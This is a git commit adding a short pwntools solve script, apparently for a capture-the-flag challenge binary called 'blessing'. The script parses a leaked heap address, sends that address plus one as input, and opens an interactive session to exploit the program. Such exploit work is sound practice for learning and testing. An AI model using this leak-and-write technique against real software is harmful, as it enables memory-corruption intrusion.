solve script

This commit is contained in:
jc
2025-03-27 23:54:35 +03:00
parent 7f8eed4e60
commit fcf3a9ee0f
@@ -0,0 +1,21 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./blessing", checksec=False)
r = process()
# funcs
s = lambda a: r.sendlineafter(b": ", a)
# leak
r.recvuntil(b"this: ")
malloced = int(r.recv(14), 16)
log.info("malloced: %#x", malloced)
# buf
r.recvuntil(b"song?")
s(str(malloced+1).encode())
s(b"0")
r.interactive()